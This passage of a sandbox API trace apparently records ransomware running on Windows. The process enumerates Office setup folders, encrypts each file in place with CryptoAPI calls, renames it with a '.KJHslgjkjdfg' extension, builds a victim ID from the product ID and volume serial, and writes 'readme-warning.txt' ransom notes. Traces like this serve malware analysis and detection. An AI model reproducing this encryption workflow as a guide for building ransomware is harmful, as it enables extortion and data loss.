lpBuffer=0x2f0c898*, lpNumberOfBytesWritten=0x4dfed60*=0x40, lpOverlapped=0x0) returned 1 [0170.450] WriteFile (in: hFile=0x118, lpBuffer=0x4dfed68*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dfed60, lpOverlapped=0x0 | out: lpBuffer=0x4dfed68*, lpNumberOfBytesWritten=0x4dfed60*=0x4, lpOverlapped=0x0) returned 1 [0170.451] WriteFile (in: hFile=0x118, lpBuffer=0x2f0ee68*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x4dfed60, lpOverlapped=0x0 | out: lpBuffer=0x2f0ee68*, lpNumberOfBytesWritten=0x4dfed60*=0x10, lpOverlapped=0x0) returned 1 [0170.451] WriteFile (in: hFile=0x118, lpBuffer=0x2f149f0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x4dfed60, lpOverlapped=0x0 | out: lpBuffer=0x2f149f0*, lpNumberOfBytesWritten=0x4dfed60*=0x80, lpOverlapped=0x0) returned 1 [0170.451] SetFilePointerEx (in: hFile=0x118, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dfed88 | out: lpNewFilePointer=0x0) returned 1 [0170.451] WriteFile (in: hFile=0x118, lpBuffer=0x4dfed78*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dfed60, lpOverlapped=0x0 | out: lpBuffer=0x4dfed78*, lpNumberOfBytesWritten=0x4dfed60*=0x8, lpOverlapped=0x0) returned 1 [0170.451] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14c70, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dfed64 | out: phKey=0x4dfed64*=0x2f18348) returned 1 [0170.451] CryptSetKeyParam (hKey=0x2f18348, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0170.451] SetFilePointerEx (in: hFile=0x118, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0170.451] ReadFile (in: hFile=0x118, lpBuffer=0x4bf0020, nNumberOfBytesToRead=0x32b, lpNumberOfBytesRead=0x4dfed6c, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesRead=0x4dfed6c*=0x32b, lpOverlapped=0x0) returned 1 [0170.451] CryptEncrypt (in: hKey=0x2f18348, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4bf0020*, pdwDataLen=0x4dfed48*=0x330, dwBufLen=0x330 | out: pbData=0x4bf0020*, pdwDataLen=0x4dfed48*=0x330) returned 1 [0170.451] SetFilePointerEx (in: hFile=0x118, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0170.451] WriteFile (in: hFile=0x118, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0x330, lpNumberOfBytesWritten=0x4dfed60, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesWritten=0x4dfed60*=0x330, lpOverlapped=0x0) returned 1 [0170.452] CryptDestroyKey (hKey=0x2f18348) returned 1 [0170.452] SetFilePointerEx (in: hFile=0x118, liDistanceToMove=0x404, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0170.452] SetEndOfFile (hFile=0x118) returned 1 [0170.455] GetProcessHeap () returned 0x2ef0000 [0170.455] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c898 | out: hHeap=0x2ef0000) returned 1 [0170.455] GetProcessHeap () returned 0x2ef0000 [0170.455] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0ee68 | out: hHeap=0x2ef0000) returned 1 [0170.455] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proofing.en-us\\Proofing.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\proofing.en-us\\proofing.xml"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proofing.en-us\\Proofing.XML.KJHslgjkjdfg" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\proofing.en-us\\proofing.xml.kjhslgjkjdfg")) returned 1 [0170.459] CloseHandle (hObject=0x118) returned 1 [0170.459] FindNextFileW (in: hFindFile=0x2f18308, lpFindFileData=0x4dfedf0 | out: lpFindFileData=0x4dfedf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf58c6830, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xab8a250, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xf58c6830, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x16fc, dwReserved0=0x2ef0138, dwReserved1=0x77c7387a, cFileName="SETUP.XML", cAlternateFileName="")) returned 1 [0170.459] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proofing.en-us\\SETUP.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\proofing.en-us\\setup.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x118 [0170.459] GetProcessHeap () returned 0x2ef0000 [0170.459] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x10) returned 0x2f0ee68 [0170.459] CryptGenRandom (in: hProv=0x2f0c268, dwLen=0x10, pbBuffer=0x2f0ee68 | out: pbBuffer=0x2f0ee68) returned 1 [0170.459] SetFilePointerEx (in: hFile=0x118, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dfed80 | out: lpNewFilePointer=0x0) returned 1 [0170.460] WriteFile (in: hFile=0x118, lpBuffer=0x4dfed90*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dfed60, lpOverlapped=0x0 | out: lpBuffer=0x4dfed90*, lpNumberOfBytesWritten=0x4dfed60*=0x4, lpOverlapped=0x0) returned 1 [0170.470] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14b20, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dfed64 | out: phKey=0x4dfed64*=0x2f18348) returned 1 [0170.470] CryptSetKeyParam (hKey=0x2f18348, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0170.470] GetProcessHeap () returned 0x2ef0000 [0170.470] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x30) returned 0x2f14ca8 [0170.470] CryptEncrypt (in: hKey=0x2f18348, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f14ca8*, pdwDataLen=0x4dfed48*=0x30, dwBufLen=0x30 | out: pbData=0x2f14ca8*, pdwDataLen=0x4dfed48*=0x30) returned 1 [0170.470] CryptDestroyKey (hKey=0x2f18348) returned 1 [0170.470] WriteFile (in: hFile=0x118, lpBuffer=0x2f14ca8*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x4dfed60, lpOverlapped=0x0 | out: lpBuffer=0x2f14ca8*, lpNumberOfBytesWritten=0x4dfed60*=0x30, lpOverlapped=0x0) returned 1 [0170.471] WriteFile (in: hFile=0x118, lpBuffer=0x4dfed68*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dfed60, lpOverlapped=0x0 | out: lpBuffer=0x4dfed68*, lpNumberOfBytesWritten=0x4dfed60*=0x4, lpOverlapped=0x0) returned 1 [0170.471] WriteFile (in: hFile=0x118, lpBuffer=0x2f0ee68*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x4dfed60, lpOverlapped=0x0 | out: lpBuffer=0x2f0ee68*, lpNumberOfBytesWritten=0x4dfed60*=0x10, lpOverlapped=0x0) returned 1 [0170.471] WriteFile (in: hFile=0x118, lpBuffer=0x2f11a08*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x4dfed60, lpOverlapped=0x0 | out: lpBuffer=0x2f11a08*, lpNumberOfBytesWritten=0x4dfed60*=0x80, lpOverlapped=0x0) returned 1 [0170.471] SetFilePointerEx (in: hFile=0x118, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dfed88 | out: lpNewFilePointer=0x0) returned 1 [0170.471] WriteFile (in: hFile=0x118, lpBuffer=0x4dfed78*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dfed60, lpOverlapped=0x0 | out: lpBuffer=0x4dfed78*, lpNumberOfBytesWritten=0x4dfed60*=0x8, lpOverlapped=0x0) returned 1 [0170.471] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14b20, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dfed64 | out: phKey=0x4dfed64*=0x2f18348) returned 1 [0170.471] CryptSetKeyParam (hKey=0x2f18348, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0170.471] SetFilePointerEx (in: hFile=0x118, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0170.471] ReadFile (in: hFile=0x118, lpBuffer=0x4bf0020, nNumberOfBytesToRead=0x16fc, lpNumberOfBytesRead=0x4dfed6c, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesRead=0x4dfed6c*=0x16fc, lpOverlapped=0x0) returned 1 [0170.479] CryptEncrypt (in: hKey=0x2f18348, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4bf0020*, pdwDataLen=0x4dfed48*=0x1700, dwBufLen=0x1700 | out: pbData=0x4bf0020*, pdwDataLen=0x4dfed48*=0x1700) returned 1 [0170.479] SetFilePointerEx (in: hFile=0x118, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0170.479] WriteFile (in: hFile=0x118, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0x1700, lpNumberOfBytesWritten=0x4dfed60, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesWritten=0x4dfed60*=0x1700, lpOverlapped=0x0) returned 1 [0170.479] CryptDestroyKey (hKey=0x2f18348) returned 1 [0170.479] SetFilePointerEx (in: hFile=0x118, liDistanceToMove=0x17c4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0170.479] SetEndOfFile (hFile=0x118) returned 1 [0170.482] GetProcessHeap () returned 0x2ef0000 [0170.482] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f14ca8 | out: hHeap=0x2ef0000) returned 1 [0170.482] GetProcessHeap () returned 0x2ef0000 [0170.482] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0ee68 | out: hHeap=0x2ef0000) returned 1 [0170.482] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proofing.en-us\\SETUP.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\proofing.en-us\\setup.xml"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proofing.en-us\\SETUP.XML.KJHslgjkjdfg" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\proofing.en-us\\setup.xml.kjhslgjkjdfg")) returned 1 [0170.487] CloseHandle (hObject=0x118) returned 1 [0170.487] FindNextFileW (in: hFindFile=0x2f18308, lpFindFileData=0x4dfedf0 | out: lpFindFileData=0x4dfedf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf58c6830, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xab8a250, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xf58c6830, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x16fc, dwReserved0=0x2ef0138, dwReserved1=0x77c7387a, cFileName="SETUP.XML", cAlternateFileName="")) returned 0 [0170.487] GetProcessHeap () returned 0x2ef0000 [0170.487] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c898 [0170.487] CryptImportKey (in: hProv=0x2f0c268, pbData=0x4dfeb30, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x2f0c234 | out: phKey=0x2f0c234*=0x2f18348) returned 1 [0170.488] CryptDecrypt (in: hKey=0x2f18348, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c898, pdwDataLen=0x4dfeb98 | out: pbData=0x2f0c898, pdwDataLen=0x4dfeb98) returned 1 [0170.488] CryptDestroyKey (hKey=0x2f18348) returned 1 [0170.488] GetProcessHeap () returned 0x2ef0000 [0170.488] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c8e0 [0170.488] CryptImportKey (in: hProv=0x2f0c268, pbData=0x4dfeb30, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x2f0c234 | out: phKey=0x2f0c234*=0x2f18348) returned 1 [0170.488] CryptDecrypt (in: hKey=0x2f18348, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c8e0, pdwDataLen=0x4dfeb98 | out: pbData=0x2f0c8e0, pdwDataLen=0x4dfeb98) returned 1 [0170.488] CryptDestroyKey (hKey=0x2f18348) returned 1 [0170.488] GetProcessHeap () returned 0x2ef0000 [0170.488] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x3c0) returned 0x2f416d0 [0170.488] CryptImportKey (in: hProv=0x2f0c268, pbData=0x4dfeb30, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x2f0c234 | out: phKey=0x2f0c234*=0x2f18348) returned 1 [0170.488] CryptDecrypt (in: hKey=0x2f18348, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f416d0, pdwDataLen=0x4dfeb98 | out: pbData=0x2f416d0, pdwDataLen=0x4dfeb98) returned 1 [0170.488] CryptDestroyKey (hKey=0x2f18348) returned 1 [0170.488] GetProcessHeap () returned 0x2ef0000 [0170.488] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c928 [0170.488] CryptImportKey (in: hProv=0x2f0c268, pbData=0x4dfe708, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x2f0c234 | out: phKey=0x2f0c234*=0x2f18348) returned 1 [0170.488] CryptDecrypt (in: hKey=0x2f18348, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c928, pdwDataLen=0x4dfe778 | out: pbData=0x2f0c928, pdwDataLen=0x4dfe778) returned 1 [0170.488] CryptDestroyKey (hKey=0x2f18348) returned 1 [0170.488] GetProcessHeap () returned 0x2ef0000 [0170.488] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x20) returned 0x2f11728 [0170.488] CryptImportKey (in: hProv=0x2f0c268, pbData=0x4dfe708, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x2f0c234 | out: phKey=0x2f0c234*=0x2f18348) returned 1 [0170.488] CryptDecrypt (in: hKey=0x2f18348, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f11728, pdwDataLen=0x4dfe778 | out: pbData=0x2f11728, pdwDataLen=0x4dfe778) returned 1 [0170.489] CryptDestroyKey (hKey=0x2f18348) returned 1 [0170.489] RegOpenKeyExA (in: hKey=0x80000002, lpSubKey="SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion", ulOptions=0x0, samDesired=0x20119, phkResult=0x4dfe774 | out: phkResult=0x4dfe774*=0x118) returned 0x0 [0170.489] RegQueryValueExA (in: hKey=0x118, lpValueName="ProductId", lpReserved=0x0, lpType=0x0, lpData=0x4dfe780, lpcbData=0x4dfe77c*=0x400 | out: lpType=0x0, lpData=0x4dfe780*=0x30, lpcbData=0x4dfe77c*=0x18) returned 0x0 [0170.489] RegCloseKey (hKey=0x118) returned 0x0 [0170.489] GetProcessHeap () returned 0x2ef0000 [0170.489] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c928 | out: hHeap=0x2ef0000) returned 1 [0170.489] GetProcessHeap () returned 0x2ef0000 [0170.489] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f11728 | out: hHeap=0x2ef0000) returned 1 [0170.489] GetProcessHeap () returned 0x2ef0000 [0170.489] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x20) returned 0x2f11728 [0170.489] CryptImportKey (in: hProv=0x2f0c268, pbData=0x4dfe4e8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x2f0c234 | out: phKey=0x2f0c234*=0x2f18348) returned 1 [0170.489] CryptDecrypt (in: hKey=0x2f18348, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f11728, pdwDataLen=0x4dfe54c | out: pbData=0x2f11728, pdwDataLen=0x4dfe54c) returned 1 [0170.489] CryptDestroyKey (hKey=0x2f18348) returned 1 [0170.489] GetEnvironmentVariableW (in: lpName="SystemDrive", lpBuffer=0x4dfe550, nSize=0x104 | out: lpBuffer="C:") returned 0x2 [0170.489] GetVolumeInformationW (in: lpRootPathName="C:\\", lpVolumeNameBuffer=0x0, nVolumeNameSize=0x0, lpVolumeSerialNumber=0x4dfe548, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0, nFileSystemNameSize=0x0 | out: lpVolumeNameBuffer=0x0, lpVolumeSerialNumber=0x4dfe548*=0x9c354b42, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0) returned 1 [0170.490] GetProcessHeap () returned 0x2ef0000 [0170.490] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f11728 | out: hHeap=0x2ef0000) returned 1 [0170.490] wsprintfA (in: param_1=0x4dfe797, param_2="-%08X" | out: param_1="-9C354B42") returned 9 [0170.490] wsprintfA (in: param_1=0x4dfeba4, param_2="%08X" | out: param_1="4B2E4630") returned 8 [0170.490] GetProcessHeap () returned 0x2ef0000 [0170.490] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x3b4) returned 0x2f41a98 [0170.490] wsprintfW (in: param_1=0x4dfdb74, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proofing.en-us\\readme-warning.txt") returned 113 [0170.490] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proofing.en-us\\readme-warning.txt" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\proofing.en-us\\readme-warning.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x118 [0170.493] WriteFile (in: hFile=0x118, lpBuffer=0x2f41a98*, nNumberOfBytesToWrite=0x3b3, lpNumberOfBytesWritten=0x4dfdb70, lpOverlapped=0x0 | out: lpBuffer=0x2f41a98*, lpNumberOfBytesWritten=0x4dfdb70*=0x3b3, lpOverlapped=0x0) returned 1 [0170.494] CloseHandle (hObject=0x118) returned 1 [0170.494] GetProcessHeap () returned 0x2ef0000 [0170.494] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f416d0 | out: hHeap=0x2ef0000) returned 1 [0170.494] GetProcessHeap () returned 0x2ef0000 [0170.494] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f41a98 | out: hHeap=0x2ef0000) returned 1 [0170.494] GetProcessHeap () returned 0x2ef0000 [0170.494] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c8e0 | out: hHeap=0x2ef0000) returned 1 [0170.495] GetProcessHeap () returned 0x2ef0000 [0170.495] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c898 | out: hHeap=0x2ef0000) returned 1 [0170.495] FindClose (in: hFindFile=0x2f18308 | out: hFindFile=0x2f18308) returned 1 [0170.495] GetProcessHeap () returned 0x2ef0000 [0170.495] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f47728 | out: hHeap=0x2ef0000) returned 1 [0170.495] FindNextFileW (in: hFindFile=0x2f182c8, lpFindFileData=0x4dff078 | out: lpFindFileData=0x4dff078*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a95a430, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6cd64f50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6cd64f50, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2ef0138, dwReserved1=0x77c7387a, cFileName="PROPLUSR", cAlternateFileName="")) returned 1 [0170.495] GetProcessHeap () returned 0x2ef0000 [0170.495] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0xc2) returned 0x2f14588 [0170.495] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PROPLUSR\\*.*", lpFindFileData=0x4dfedf0 | out: lpFindFileData=0x4dfedf0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a95a430, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6cd64f50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6cd64f50, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2ef0138, dwReserved1=0x77c7387a, cFileName=".", cAlternateFileName="")) returned 0x2f18308 [0170.499] GetProcessHeap () returned 0x2ef0000 [0170.500] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f14588 | out: hHeap=0x2ef0000) returned 1 [0170.500] FindNextFileW (in: hFindFile=0x2f18308, lpFindFileData=0x4dfedf0 | out: lpFindFileData=0x4dfedf0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a95a430, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6cd64f50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6cd64f50, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2ef0138, dwReserved1=0x77c7387a, cFileName="..", cAlternateFileName="")) returned 1 [0170.500] FindNextFileW (in: hFindFile=0x2f18308, lpFindFileData=0x4dfedf0 | out: lpFindFileData=0x4dfedf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x170fe40, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6cd64f50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x170fe40, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x41d4, dwReserved0=0x2ef0138, dwReserved1=0x77c7387a, cFileName="ProPlusrWW.XML", cAlternateFileName="PROPLU~1.XML")) returned 1 [0170.500] GetProcessHeap () returned 0x2ef0000 [0170.500] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x2c4) returned 0x2f47728 [0170.500] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PROPLUSR\\ProPlusrWW.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\proplusr\\proplusrww.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x118 [0170.501] GetProcessHeap () returned 0x2ef0000 [0170.501] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x10) returned 0x2f0ee68 [0170.501] CryptGenRandom (in: hProv=0x2f0c268, dwLen=0x10, pbBuffer=0x2f0ee68 | out: pbBuffer=0x2f0ee68) returned 1 [0170.501] SetFilePointerEx (in: hFile=0x118, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dfed80 | out: lpNewFilePointer=0x0) returned 1 [0170.501] WriteFile (in: hFile=0x118, lpBuffer=0x4dfed90*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x4dfed60, lpOverlapped=0x0 | out: lpBuffer=0x4dfed90*, lpNumberOfBytesWritten=0x4dfed60*=0xc, lpOverlapped=0x0) returned 1 [0170.503] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14c70, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dfed64 | out: phKey=0x4dfed64*=0x2f18348) returned 1 [0170.503] CryptSetKeyParam (hKey=0x2f18348, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0170.504] GetProcessHeap () returned 0x2ef0000 [0170.504] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c898 [0170.504] CryptEncrypt (in: hKey=0x2f18348, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c898*, pdwDataLen=0x4dfed48*=0x40, dwBufLen=0x40 | out: pbData=0x2f0c898*, pdwDataLen=0x4dfed48*=0x40) returned 1 [0170.504] CryptDestroyKey (hKey=0x2f18348) returned 1 [0170.504] WriteFile (in: hFile=0x118, lpBuffer=0x2f0c898*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x4dfed60, lpOverlapped=0x0 | out: lpBuffer=0x2f0c898*, lpNumberOfBytesWritten=0x4dfed60*=0x40, lpOverlapped=0x0) returned 1 [0170.504] WriteFile (in: hFile=0x118, lpBuffer=0x4dfed68*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dfed60, lpOverlapped=0x0 | out: lpBuffer=0x4dfed68*, lpNumberOfBytesWritten=0x4dfed60*=0x4, lpOverlapped=0x0) returned 1 [0170.504] WriteFile (in: hFile=0x118, lpBuffer=0x2f0ee68*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x4dfed60, lpOverlapped=0x0 | out: lpBuffer=0x2f0ee68*, lpNumberOfBytesWritten=0x4dfed60*=0x10, lpOverlapped=0x0) returned 1 [0170.504] WriteFile (in: hFile=0x118, lpBuffer=0x2f149f0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x4dfed60, lpOverlapped=0x0 | out: lpBuffer=0x2f149f0*, lpNumberOfBytesWritten=0x4dfed60*=0x80, lpOverlapped=0x0) returned 1 [0170.504] SetFilePointerEx (in: hFile=0x118, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dfed88 | out: lpNewFilePointer=0x0) returned 1 [0170.504] WriteFile (in: hFile=0x118, lpBuffer=0x4dfed78*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dfed60, lpOverlapped=0x0 | out: lpBuffer=0x4dfed78*, lpNumberOfBytesWritten=0x4dfed60*=0x8, lpOverlapped=0x0) returned 1 [0170.504] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14c70, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dfed64 | out: phKey=0x4dfed64*=0x2f18348) returned 1 [0170.504] CryptSetKeyParam (hKey=0x2f18348, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0170.504] SetFilePointerEx (in: hFile=0x118, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0170.504] ReadFile (in: hFile=0x118, lpBuffer=0x4bf0020, nNumberOfBytesToRead=0x41d4, lpNumberOfBytesRead=0x4dfed6c, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesRead=0x4dfed6c*=0x41d4, lpOverlapped=0x0) returned 1 [0170.505] CryptEncrypt (in: hKey=0x2f18348, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4bf0020*, pdwDataLen=0x4dfed48*=0x41e0, dwBufLen=0x41e0 | out: pbData=0x4bf0020*, pdwDataLen=0x4dfed48*=0x41e0) returned 1 [0170.506] SetFilePointerEx (in: hFile=0x118, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0170.506] WriteFile (in: hFile=0x118, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0x41e0, lpNumberOfBytesWritten=0x4dfed60, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesWritten=0x4dfed60*=0x41e0, lpOverlapped=0x0) returned 1 [0170.506] CryptDestroyKey (hKey=0x2f18348) returned 1 [0170.506] SetFilePointerEx (in: hFile=0x118, liDistanceToMove=0x42b4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0170.506] 